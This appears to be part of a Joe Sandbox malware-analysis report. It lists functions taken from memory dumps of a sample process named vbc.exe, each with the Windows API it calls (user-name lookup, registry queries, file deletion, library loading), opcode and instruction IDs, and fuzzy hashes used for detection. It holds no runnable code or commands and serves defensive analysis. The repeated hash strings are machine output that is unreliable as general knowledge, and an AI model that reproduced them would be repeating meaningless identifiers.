Opcode Fuzzy Hash: 3578e99cc5c4ee51b20c7d2e7b768c0b91a9c74c4d3345eea400bb590d78fcb5
Instruction Fuzzy Hash: 4E51A030A112099FCB04EF74D945AAEBBF5EF85304F04896AE512DB391DF34E805CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8127 Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: febf3a661bd83abc5ef339661d69b97157fa393700cf543a0f389a8fd46113ec
Instruction ID: 97b5adb6a38b775750bd783e08a7a38a198cb34fa8416eebf13876913e035961
Opcode Fuzzy Hash: febf3a661bd83abc5ef339661d69b97157fa393700cf543a0f389a8fd46113ec
Instruction Fuzzy Hash: 0181DA7490A298CFCB66DF74E8886ADB7B2BF4A34AF1041D9D40AA3740CB355D85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE816C Relevance: 1.7, APIs: 1, Instructions: 161COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 96430f754b233d192d6baa40dccbe754645c4e3292202382b435c27c9e18ac39
Instruction ID: d3267ab6aba437ba03119b1350a20ff9bcdca5006cbc2bd4a6d9ed7bfd9f79d0
Opcode Fuzzy Hash: 96430f754b233d192d6baa40dccbe754645c4e3292202382b435c27c9e18ac39
Instruction Fuzzy Hash: 9781DC7490A298CFCB66DF74E8886ADB7B2BF4A34AF1041D9D40AA3740CB355D85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE81B1 Relevance: 1.7, APIs: 1, Instructions: 154COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fc586f75e7ef1bfb599b5adbec3bc5a6f97d50ff3cd726a1924bbfa01faeb619
Instruction ID: 11d94465556f7e58517aea6fe98e0c1794d1c27ba6565a6ed9ca35adb6aec64b
Opcode Fuzzy Hash: fc586f75e7ef1bfb599b5adbec3bc5a6f97d50ff3cd726a1924bbfa01faeb619
Instruction Fuzzy Hash: 6C81CB7490A268CFCB66DF74E8886ADB7B2BF4A34AF1041D9D40AA3740CB355D85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE81F9 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cb3c22ac80a3ad184901eb8b8ac078c6a176902e30b6dee7683d769a0270c7ce
Instruction ID: 3156272fa49386ed370026be87cf275c694db9a8b2899cab3f466114324046dc
Opcode Fuzzy Hash: cb3c22ac80a3ad184901eb8b8ac078c6a176902e30b6dee7683d769a0270c7ce
Instruction Fuzzy Hash: 5371F97490A268CFCB66DF34E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D81CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8241 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3fa6bf165b71eb5a6117fc6c334d23a0da9f430adad64de1b47026648d34bbcd
Instruction ID: 6005bb1df2dfcc732d1bc882aef1c43edbdaf27ddd0fa7266e7f1cee28957eee
Opcode Fuzzy Hash: 3fa6bf165b71eb5a6117fc6c334d23a0da9f430adad64de1b47026648d34bbcd
Instruction Fuzzy Hash: 3271C97490A268CFCB66DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CB355D85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE4ED8 Relevance: 1.6, APIs: 1, Instructions: 139COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 09EE55B3

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 5b4c733a7878b89cdfe742ce046334ce3816d18b10e09c18f99c62f0caab4320
Instruction ID: 06fbe93843fbc3654c830ddc463436c8e14b7219a9b1804573c1fa15923c2264
Opcode Fuzzy Hash: 5b4c733a7878b89cdfe742ce046334ce3816d18b10e09c18f99c62f0caab4320
Instruction Fuzzy Hash: 4B512370D002188FDB14CFA9D889BDDBBF1BF49318F15851AE816AB390DB749848CF95

Uniqueness

Uniqueness Score: -1.00%

Function 09EE546D Relevance: 1.6, APIs: 1, Instructions: 138COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 09EE55B3

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 5a12f52a1eb56e82ca84f5296579522217e64654dca85a88c0cfb3388289c866
Instruction ID: bf5aa2940a1a4817bd60b31fb1824df79453f69118db50ceaa86bb1472b588d8
Opcode Fuzzy Hash: 5a12f52a1eb56e82ca84f5296579522217e64654dca85a88c0cfb3388289c866
Instruction Fuzzy Hash: 3B512270D002188FDB18CFA9D899BEDBBB2BF49318F158529E815AB350DB749848CF95

Uniqueness

Uniqueness Score: -1.00%

Function 09EE4EE4 Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 09EE55B3

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 0d871a5b3b9e11dd40bbc70034b5d5968fa54b3e47b1d647499102c254fca410
Instruction ID: 668ec17fa583667279a5f98191cfd961b19b9f399bc7f931203d52311564efd6
Opcode Fuzzy Hash: 0d871a5b3b9e11dd40bbc70034b5d5968fa54b3e47b1d647499102c254fca410
Instruction Fuzzy Hash: F7511370D002188FDF14CFA9D889BDDBBB1BF48318F158519E815AB390DB749848CF95

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8289 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fb46221596f9d62264908653a5dedf69e95ee5e1c174e2350f8d4abbaa09dc9f
Instruction ID: 3b4321a7cb0b85f3986d04a4d3c48602e3353420ccdf055808f572a2be84cf1e
Opcode Fuzzy Hash: fb46221596f9d62264908653a5dedf69e95ee5e1c174e2350f8d4abbaa09dc9f
Instruction Fuzzy Hash: 1961CA7490A268CFCB66DF74E8886ADB7B2BF4A34AF1041D9D40AA3740CB355D85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 0A2765D9 Relevance: 1.6, APIs: 1, Instructions: 127registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,00000000,?), ref: 0A2766F1

Memory Dump Source

Source File: 00000002.00000002.547679913.000000000A270000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a270000_vbc.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 59fef0ea8766479f9e61eda4542511ca5d78700c636bc78ce15d4b97997fa7f2
Instruction ID: 794edf22b6e8ead0ee335e0a1dd8d5253be7ebe42093e19240e6f43f6067eff8
Opcode Fuzzy Hash: 59fef0ea8766479f9e61eda4542511ca5d78700c636bc78ce15d4b97997fa7f2
Instruction Fuzzy Hash: AA4166B0D10258DFCB14CFA9C894A9EBFF5BF49304F19806AE819AB351D7349905CF91

Uniqueness

Uniqueness Score: -1.00%

Function 09EE82D1 Relevance: 1.6, APIs: 1, Instructions: 126COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 451bfd9400409ef979c0a7dc6ba43012497bbd5ddc1c178d7d7cbac4b42e30e7
Instruction ID: 4b0fcbbe3567c716efecdd8eb3a6b00e2d09eedbd1a4d16165c0c90b7f7d59b9
Opcode Fuzzy Hash: 451bfd9400409ef979c0a7dc6ba43012497bbd5ddc1c178d7d7cbac4b42e30e7
Instruction Fuzzy Hash: EE51DA7490A268CFCB66DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CF355D85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8319 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 040de4fc04cd0f4537a1fb12c876447e331b02e286d38f6afb0d4af78acc8ab3
Instruction ID: 37492b2be03d5d39d0928904e4be6f8980b64b7d24d30af9fee77bb8108749b1
Opcode Fuzzy Hash: 040de4fc04cd0f4537a1fb12c876447e331b02e286d38f6afb0d4af78acc8ab3
Instruction Fuzzy Hash: 1E51EA74906268CFCB66DF34E8886A9B7B2BF4A34AF1041D9D40AA3740CF355E85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0A276321 Relevance: 1.6, APIs: 1, Instructions: 116registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?), ref: 0A276434

Memory Dump Source

Source File: 00000002.00000002.547679913.000000000A270000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a270000_vbc.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 7158aa378828520c3acc4c046a828be983be7d878f467b694938bcfb371b3d8a
Instruction ID: ca21f90227be5b55719c98e69928b283c726ddf02f241037f70335efca49e152
Opcode Fuzzy Hash: 7158aa378828520c3acc4c046a828be983be7d878f467b694938bcfb371b3d8a
Instruction Fuzzy Hash: 7E417570D04289CFDB14CFA8C548A9EBBF1BF49304F29C06AE408AB391D7759945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8361 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 292acefd7cae0ed93604c9993177569f40c7dc93aed22a5f0df8cbfa92fb1587
Instruction ID: 818f1a4efb49b0197d40100ad29ab5722050bec79aa736da09583eb09a055bb4
Opcode Fuzzy Hash: 292acefd7cae0ed93604c9993177569f40c7dc93aed22a5f0df8cbfa92fb1587
Instruction Fuzzy Hash: 2A51CA74906268CFCB66DF74E8886A9B7B2BF4A34AF1041D9D40AA3740CF355E85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE83A9 Relevance: 1.6, APIs: 1, Instructions: 105COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b030ccee21eec1a841b98d9d711b6fe31f52c3ff2c8ea3722e16006aa45c82b6
Instruction ID: 4697fbcb2d3b1758a50369dfdf743e5e7f9b3252dea06aaeb9300d772c277155
Opcode Fuzzy Hash: b030ccee21eec1a841b98d9d711b6fe31f52c3ff2c8ea3722e16006aa45c82b6
Instruction Fuzzy Hash: B951CB74906258CFCB66DF74E888699B7B2BF4A34AF1041D9D40AA3740CF355E85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE83F1 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8714f03e6a184eddafd7ccb0eb9b06b3d4cf2dee8f723fa373a8cf76047b6703
Instruction ID: dd746e1edba04472cbcfbd19c8a798024a53816aa9053b6c5fc16c8f120d1215
Opcode Fuzzy Hash: 8714f03e6a184eddafd7ccb0eb9b06b3d4cf2dee8f723fa373a8cf76047b6703
Instruction Fuzzy Hash: 9141C974906268CFCB66DF74D8886A9B7B2BF4A34AF1041D9D40AA3740CF359E85CF16

Uniqueness

Uniqueness Score: -1.00%

Function 09EE677F Relevance: 1.6, APIs: 1, Instructions: 90fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 09EE6848

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 7371ef74360651174af8369e7dc4575bb70d69c1d0392a71b8441d7d865fe28e
Instruction ID: 58886ba57a5b26cce3adbce7113106e6ed97fa17a34a9012de2584ca36eede76
Opcode Fuzzy Hash: 7371ef74360651174af8369e7dc4575bb70d69c1d0392a71b8441d7d865fe28e
Instruction Fuzzy Hash: 2A310471D083858FCB01CF69C81479EBFF0AF49318F0584AAD444EB281D7389845CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 04F0C8E4 Relevance: 1.6, APIs: 1, Instructions: 90libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 04F0C9BA

Memory Dump Source

Source File: 00000002.00000002.537115057.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f00000_vbc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c4dfb5e2d62bc6c897ae5f03d32663afdfdcc87d5e11def58ebb74b3ab084bf8
Instruction ID: 9d7c134632e923a9ef87dab5c10152ef9f9cafd48a4b203c1c82633266cdc4ea
Opcode Fuzzy Hash: c4dfb5e2d62bc6c897ae5f03d32663afdfdcc87d5e11def58ebb74b3ab084bf8
Instruction Fuzzy Hash: 0A3157B0D002899FDB18CFA8C88479EBFB1BB49314F14862DE855A7380D774A446CF96

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8439 Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0da27a6f70fc81933cad049da6a2276b01ee965b45a1d7e7f83f78b6f4964a6e
Instruction ID: 0a49460916e1379bd9ed7b7078a96208b85a6469eeef179eb61249ed7322ecb9
Opcode Fuzzy Hash: 0da27a6f70fc81933cad049da6a2276b01ee965b45a1d7e7f83f78b6f4964a6e
Instruction Fuzzy Hash: E141EA74906268CFCB66DF74E8886A9B7B2BF4634AF1041D9D40AA3740CF359D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 04F09DC0 Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 04F0C9BA

Memory Dump Source

Source File: 00000002.00000002.537115057.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f00000_vbc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b0c4eadbb9316bc2ab70813be34797d4a2f2335ab3c217945b648193a953f553
Instruction ID: a4ef2fa69e65eb55cc7fce75f759ea78bbf53a34ab786375ef819bbe77e812be
Opcode Fuzzy Hash: b0c4eadbb9316bc2ab70813be34797d4a2f2335ab3c217945b648193a953f553
Instruction Fuzzy Hash: 773148B0D002899FDB18CFA9C84479EBFF1BB88314F148629E815A7380D774A446DF96

Uniqueness

Uniqueness Score: -1.00%

Function 0A276638 Relevance: 1.6, APIs: 1, Instructions: 85registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,00000000,?), ref: 0A2766F1

Memory Dump Source

Source File: 00000002.00000002.547679913.000000000A270000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a270000_vbc.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: b4a0dcfe23b2d760283fb787d32cb7e4b21cf8de0b0cfa984b14703d6f2f0174
Instruction ID: 2eb59464efb8643f773e99eb787d4ab34038163a3e74509cdef88e0fb3512f9e
Opcode Fuzzy Hash: b4a0dcfe23b2d760283fb787d32cb7e4b21cf8de0b0cfa984b14703d6f2f0174
Instruction Fuzzy Hash: AE31FDB1D10258DFCB24CFAAC984ACEBBF5BF48310F55802AE819AB310D7749905CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8475 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d2103f1c7c9a5712b4613c2dec318e7d67ee9a073bc17e5addad13e76285b7e1
Instruction ID: 3aaaabb56d5ffffb6886132bd8985b554f706469104d566a958b041566e9bf78
Opcode Fuzzy Hash: d2103f1c7c9a5712b4613c2dec318e7d67ee9a073bc17e5addad13e76285b7e1
Instruction Fuzzy Hash: 7E41E974906268CFCB66DF74E8886A9B7B2BF4634AF1041D9D40AA3740CF359D81CF16

Uniqueness

Uniqueness Score: -1.00%

Function 0A276380 Relevance: 1.6, APIs: 1, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?), ref: 0A276434

Memory Dump Source

Source File: 00000002.00000002.547679913.000000000A270000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a270000_vbc.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e76b20eb0e886d96acdf97b4546571ce2d6e2a0f2dba435d3669fd2598612acc
Instruction ID: 39af306b3c588bb7d673e4d817ac4ddf94428fb7ab3c46f56665e4d69963354a
Opcode Fuzzy Hash: e76b20eb0e886d96acdf97b4546571ce2d6e2a0f2dba435d3669fd2598612acc
Instruction Fuzzy Hash: 443132B0C102498FCB10CF99C584A8EFFF4BF48314F29812AE808AB340D7749985CF95

Uniqueness

Uniqueness Score: -1.00%

Function 09EE84BD Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1099070b62476e0896cf47e7b57a69cd22a763a38cdd90ecf7eb1b1b58d249d8
Instruction ID: 4f044fd6b2088e1741f92aa5d84eab1794d4df9c0e2c1a8073eabea16dc9227b
Opcode Fuzzy Hash: 1099070b62476e0896cf47e7b57a69cd22a763a38cdd90ecf7eb1b1b58d249d8
Instruction Fuzzy Hash: 7741CA74906268CFCB66DF74E8886A9B7B2BF4634AF1040D9D40AA3740CF359D85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8505 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ea9dae541559ead36c9dacc3334f149dbf77dcfb593ea373fdeb01d822dde791
Instruction ID: 4c76cc57e6c1e1971c6d9f062c138ec6f9e453a1b6d4664c42b7bf27ce083eae
Opcode Fuzzy Hash: ea9dae541559ead36c9dacc3334f149dbf77dcfb593ea373fdeb01d822dde791
Instruction Fuzzy Hash: 7E31CC74906268CFCB66DF74E8886E9B7B2BF4A34AF1041D9D40AA3740CB359D81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE854D Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 779cc462d7621a7a9cee61ed74dc4bb93a871870fe48293767951b8b7f4e8420
Instruction ID: 6acff44f930eb4f74dd5ffa74f5efa3e91a910dece89b49528fcd7abe26f3d05
Opcode Fuzzy Hash: 779cc462d7621a7a9cee61ed74dc4bb93a871870fe48293767951b8b7f4e8420
Instruction Fuzzy Hash: 3B31BA74A06268CFCB66DF64E8886D9B7B2BF4634AF1040D9D50AA3740CB359E81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE5E74 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 09EE6848

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: a8a7510083f37ee45a9fb9844f8397650afd904cf440482adb87b519de367246
Instruction ID: ecc9456b91b8db6a9952b85dd9f374d7e52bd5a93c1fac42d1d2a5a868629345
Opcode Fuzzy Hash: a8a7510083f37ee45a9fb9844f8397650afd904cf440482adb87b519de367246
Instruction Fuzzy Hash: 602147B1C006199BCB10CF9AD54479EFBF4EB48728F05852AE814B7640D738A945CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 04F04CB8 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04F04D42

Memory Dump Source

Source File: 00000002.00000002.537115057.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f00000_vbc.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 35e0aa66331d45b8ffb27dd961ea8ac9d3c9d28c07a7af3a968a9b08198741f9
Instruction ID: e410b0cec1d4648e7394ec252a9554009df5e6cd9beaf3223248cc420547ace4
Opcode Fuzzy Hash: 35e0aa66331d45b8ffb27dd961ea8ac9d3c9d28c07a7af3a968a9b08198741f9
Instruction Fuzzy Hash: F121FF719013899FCB10DFA9D9083AEBFF0FB89314F24846AC405A7681C7386585CF62

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8595 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 23c1bf211e70aa2e09c2b7906a774a6735b6604befb586d16c40ef8e48ac7907
Instruction ID: a02d97dbf92761942f3f8fd21515f48d58d2be20b1bc413efc976ba84e2091b7
Opcode Fuzzy Hash: 23c1bf211e70aa2e09c2b7906a774a6735b6604befb586d16c40ef8e48ac7907
Instruction Fuzzy Hash: A621BA74A06268CFCB65DF64E8886D9B7B2BF4634AF1040D9D50AA3740CF355E81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 04F04CC8 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04F04D42

Memory Dump Source

Source File: 00000002.00000002.537115057.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f00000_vbc.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 22f352f3852709965244bc25992410f148feabb1566de6b0a7fd02f396df149d
Instruction ID: ed2abedd66ea9be1032496f3ea0968b0ee344e985528d447741285363982d073
Opcode Fuzzy Hash: 22f352f3852709965244bc25992410f148feabb1566de6b0a7fd02f396df149d
Instruction Fuzzy Hash: AB11B1719013499FDB10DFA9D50879EBBF4FB88314F248429D405A3680CB796585CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 09EE85DD Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 664dd7efa7cf4a465a02df27634ec3431896c304030e18d02387bffb5e7f9bf9
